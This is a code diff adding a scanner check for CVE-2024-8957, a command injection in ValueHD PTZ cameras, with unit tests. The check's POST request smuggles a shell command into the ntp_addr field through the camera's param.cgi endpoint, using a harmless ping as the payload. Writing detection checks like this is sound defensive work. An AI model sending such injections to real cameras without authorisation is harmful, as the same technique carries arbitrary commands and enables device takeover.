diff --git a/agent/exploits/cve_2024_8957.py b/agent/exploits/cve_2024_8957.py new file mode 100644 index 0000000..6017386 --- /dev/null +++ b/agent/exploits/cve_2024_8957.py @@ -0,0 +1,64 @@ +"""Agent Asteroid implementation for CVE-2024-8957""" + +import datetime +import logging +import re + +from requests import exceptions as requests_exceptions + +from agent import definitions +from agent import exploits_registry +from agent.exploits import webexploit + +VULNERABILITY_TITLE = "ValueHD PTZ Camera Command Injection" +VULNERABILITY_REFERENCE = "CVE-2024-8957" +VULNERABILITY_DESCRIPTION = ( + "ValueHD PTZ cameras below firmware version 6.3.40 contain a command injection " + "vulnerability via NTP server configuration." +) +RISK_RATING = "CRITICAL" +DEFAULT_TIMEOUT = datetime.timedelta(seconds=90) +SYSTEM_CONF_PATH = "/cgi-bin/param.cgi?get_device_conf" + + +@exploits_registry.register +class VHDPTZCommandInjectionExploit(webexploit.WebExploit): + """ + CVE-2024-8957: ValueHD PTZ Camera Command Injection + """ + + accept_request = definitions.Request(method="GET", path=SYSTEM_CONF_PATH) + check_request = definitions.Request( + method="POST", + path="/cgi-bin/param.cgi?post_network_other_conf", + data=b"ntp_addr=$(ping${IFS}-c4${IFS}8.8.8.8)", + ) + accept_pattern = [ + re.compile(r'devname="ptzoptics"', re.IGNORECASE), + ] + + metadata = definitions.VulnerabilityMetadata( + title=VULNERABILITY_TITLE, + description=VULNERABILITY_DESCRIPTION, + reference=VULNERABILITY_REFERENCE, + risk_rating=RISK_RATING, + ) + + def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + """Rule to detect command injection vulnerability on a target.""" + vulnerabilities: list[definitions.Vulnerability] = [] + + target_endpoint = self.check_request.path + try: + resp = self.session.post( + f"{target.origin}{target_endpoint}", + data=self.check_request.data, + timeout=DEFAULT_TIMEOUT.seconds, + ) + logging.info("Response in 8957: %s", resp.text) + if resp.status_code == 200 and "Success" in resp.text: + vulnerabilities.append(self._create_vulnerability(target)) + except requests_exceptions.RequestException as e: + logging.error("Command injection detection failed: %s", e) + + return vulnerabilities diff --git a/tests/exploits/cve_2024_8957_test.py b/tests/exploits/cve_2024_8957_test.py new file mode 100644 index 0000000..9595945 --- /dev/null +++ b/tests/exploits/cve_2024_8957_test.py @@ -0,0 +1,69 @@ +"""Unit tests for Agent Asteroid: VHD PTZ Camera Command Injection""" + +import requests_mock as req_mock +from requests import exceptions as requests_exceptions + +from agent import definitions +from agent.exploits import cve_2024_8957 + + +def testVHDPTZCommandInjection_whenVulnerable_reportFinding( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """Test case: when target is vulnerable to command injection.""" + requests_mock.get( + "http://localhost:80/cgi-bin/param.cgi", + text='devname="ptzoptics" devtype="VX630A" versioninfo="SOC v6.3.40 - ARM 6.3.51THI" serial_num="r1j04260027" device_model="F53.HI"', + status_code=200, + ) + requests_mock.post( + "http://localhost:80/cgi-bin/param.cgi?post_network_other_conf", + text='{"Response":{"Result":"Success"}}"', + status_code=200, + ) + + exploit_instance = cve_2024_8957.VHDPTZCommandInjectionExploit() + target = definitions.Target("http", "localhost", 80) + accept = exploit_instance.accept(target) + + vulnerabilities = exploit_instance.check(target) + + assert accept is True + assert len(vulnerabilities) > 0 + vulnerability = vulnerabilities[0] + assert vulnerability.entry.title == "ValueHD PTZ Camera Command Injection" + + +def testVHDPTZCommandInjection_whenNotVulnerable_reportNothing( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """Test case: when target is not vulnerable to command injection.""" + requests_mock.post( + "http://localhost:80/cgi-bin/param.cgi?post_network_other_conf", + text="Couldn't connect to server\"", + status_code=200, + ) + + exploit_instance = cve_2024_8957.VHDPTZCommandInjectionExploit() + target = definitions.Target("http", "localhost", 80) + + vulnerabilities = exploit_instance.check(target) + + assert len(vulnerabilities) == 0 + + +def testVHDPTZCommandInjection_requestException_handlingErrorLogged( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """Test case: handle RequestException in command injection detection.""" + requests_mock.post( + "http://localhost:80/cgi-bin/param.cgi?post_network_other_conf", + exc=requests_exceptions.RequestException("Simulated connection error"), + ) + + exploit_instance = cve_2024_8957.VHDPTZCommandInjectionExploit() + target = definitions.Target("http", "localhost", 80) + + vulnerabilities = exploit_instance.check(target) + + assert len(vulnerabilities) == 0